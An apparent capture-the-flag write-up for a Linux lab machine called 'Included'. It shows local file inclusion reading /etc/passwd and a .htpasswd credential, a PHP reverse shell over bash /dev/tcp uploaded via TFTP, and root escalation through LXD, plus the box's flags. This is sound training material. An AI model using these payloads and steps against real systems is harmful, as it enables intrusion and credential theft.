MACHINE - INCLUDED

IP: 10.129.243.253

Type: Linux

OPEN PORTS

```
$ nmap -sVC -T4 -Pn -p- {IP}
```

- [1] 80/tcp http **Apache httpd 2.4.29**

```
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.95.185/?file=home.php
```

ACCESSING THE SITE

- Above we notice that the requested resource comes with a GET parameter `file`
- This is a common practice when dynamically load pages in the site

```
if ($_GET['file']) {
    include($_GET['file']);
} else {
    header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
```

- If not programmed correctly it can lead to vulnerabilities and attack vectors
- In this case it was not programmed correctly …
- This type of vulnerability is called *Local File Inclusion* (LFI)

  Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploitation of vulnerable inclusion procedures implemented in an application.

```
$ curl -X GET http://{IP}/?file=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

```
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologi
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
```

- First of all, we see that there is a user named `mike`
- Let's see if we can get the flag of the user

```
$ curl -X GET http://{IP}/?file=/home/mike/user.txt

<Empty Result>
```

- Unfortunately either we cannot access the file, or it does not exists
- Also other names could be tried

```
$ curl -X GET http://{IP}/?file=/home/mike/flag.txt

<Empty Result>

$ curl -X GET http://{IP}/?file=/home/mike/mike.txt

<Empty Result>
```

- We also see another interesting user, named `tftp`

TFTP

> Trivial File Transfer Protocol (TFTP) is a simple protocol that provides basic file transfer function with no user authentication. TFTP is intended for applications that do not need the sophisticated interactions that File Transfer Protocol (FTP) provides. It works over UDP, which is lightweight and unsecure. The default port is 69/UDP

- Let's see if the service is up and running using NMAP

```
$ sudo nmap -sU -T3 -p69 {IP}

PORT   STATE         SERVICE
69/udp open|filtered tftp
```

- Now that we are sure that the service is up we can try to access it

```
$ tftp
(to) {IP}
tftp> help

Commands may be abbreviated.  Commands are:

connect         connect to remote tftp
mode            set file transfer mode
put             send file
get             receive file
quit            exit tftp
verbose         toggle verbose mode
trace           toggle packet tracing
literal         toggle literal mode, ignore ':' in file name
status          show current status
binary          set mode to octet
ascii           set mode to netascii
rexmt           set per-packet transmission timeout
timeout         set total retransmission timeout
?               print help information
help            print help information
```

- However, there is no command for listing directories
- From the `/etc/passwd` we only know that files are stored in `/var/lib/tftpboot/`

SOME MORE INFORMATIONS

- Let's enumerate the directories of the site

```
$ gobuster -u http://{IP}/ -w /usr/share/wordlists/dirb/common.txt

...
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/fonts                (Status: 301) [Size: 314]
/images               (Status: 301) [Size: 315]
/index.php            (Status: 301) [Size: 308]
/server-status        (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
...
```

- Leveraging LFI vulnerability

```
$ curl -X GET http://{IP}/?file=.htpasswd

mike:Sheffield19
```

- Now we have a username and a password stored in clear text
- Still there is no remote shell service we can use
- Until now we know:

1. There is a user named `mike` with password `Sheffield19`
2. The TFTP service is up and running, with default folder `/var/lib/tftpboot/`
3. The page is vulnerable to LFI

- Let's get more info on the user … I guess, its group

```
$ curl -X GET http://{IP}/?file=/etc/group | grep mike

lxd:x:108:mike
mike:x:1000:
```

- The user mike belongs to the `lxd` group
- The user mike does not belong to the `sudoers` group

  LXD (pronounced lex-dee) is the lightervisor, or lightweight container hypervisor. LXC (lex-see) is a program which creates and administers "containers" on a local system. It also provides an API to allow higher level managers, such as LXD, to administer containers.

GETTING A REVERSE SHELL

- Let's exploit all these vulnerabilities
- Write a simple PHP script for the reverse shell

```
<?php system("/bin/bash -c 'exec bash -i &>/dev/tcp/{MyIP}/{remote-port} <&1'"); ?>
```

- Use TFTP to load it into the system

```
$ tftp {IP} -c put script.php
```

- On another shell start a netcat listener

```
$ nc -lnvp {remote-port}
```

- Launch the exploit

```
$ curl -X GET http://{IP}/?file=/var/lib/tftpboot/script.php
```

- Once we have obtained the shell, we can become user mike with

```
www-data@included:/home/mike$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@included:/home/mike$ export TERM=xterm
www-data@included:/home/mike$ su mike
Password: Sheffield19

mike@included:~$ cat user.txt
a56ef91d70cfbf2cdb8f454c006935a1
```

- At this point we need to become root user
- We can use lateral movement exploiting the fact that mike belongs to LXD group

---

LINUX PRIVESC WITH LXD

- The idea is to:

1. Start a container with root privileges
2. Mount the entire host filesystem in the container
3. Obtain a shell inside the container and get the flag

- First of all, in our local machine let's download the apline image

```
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine
$ ls
alpine-v3.13-x86_64-20210218_0139.tar.gz
$ python3 -m http.server
```

- The last command host an HTTP server on our local machine
- In this way we can download the TAR archive from the victim machine
- On the victim machine we need to given these commands

```
mike@included:~$ wget http://{MyIP}:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
mike@included:~$ lxd init
mike@included:~$ lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
mike@included:~$ lxc image list
```

```
+---------+--------------+--------+------------------------------+--------+--------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION         |  ARCH  |  SIZE  |
+---------+--------------+--------+------------------------------+--------+--------+
| myimage | cd73881adaac | no     | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB |
+---------+--------------+--------+------------------------------+--------+--------+

mike@included:~$ lxc init myimage ignite -c security.privileged=true
mike@included:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/ recursive=tr
mike@included:~$ lxc start ignite
mike@included:~$ lxc exec ignite /bin/sh
~# id
uid=0(root) gid=0(root)
~# cd /mnt/root/
/mnt/root# ls
root.txt
/mnt/root# cat root.txt
c693d9c7499d9f572ee375d4c14c7bcf
```

FLAGS

USER: a56ef91d70cfbf2cdb8f454c006935a1

ROOT: c693d9c7499d9f572ee375d4c14c7bcf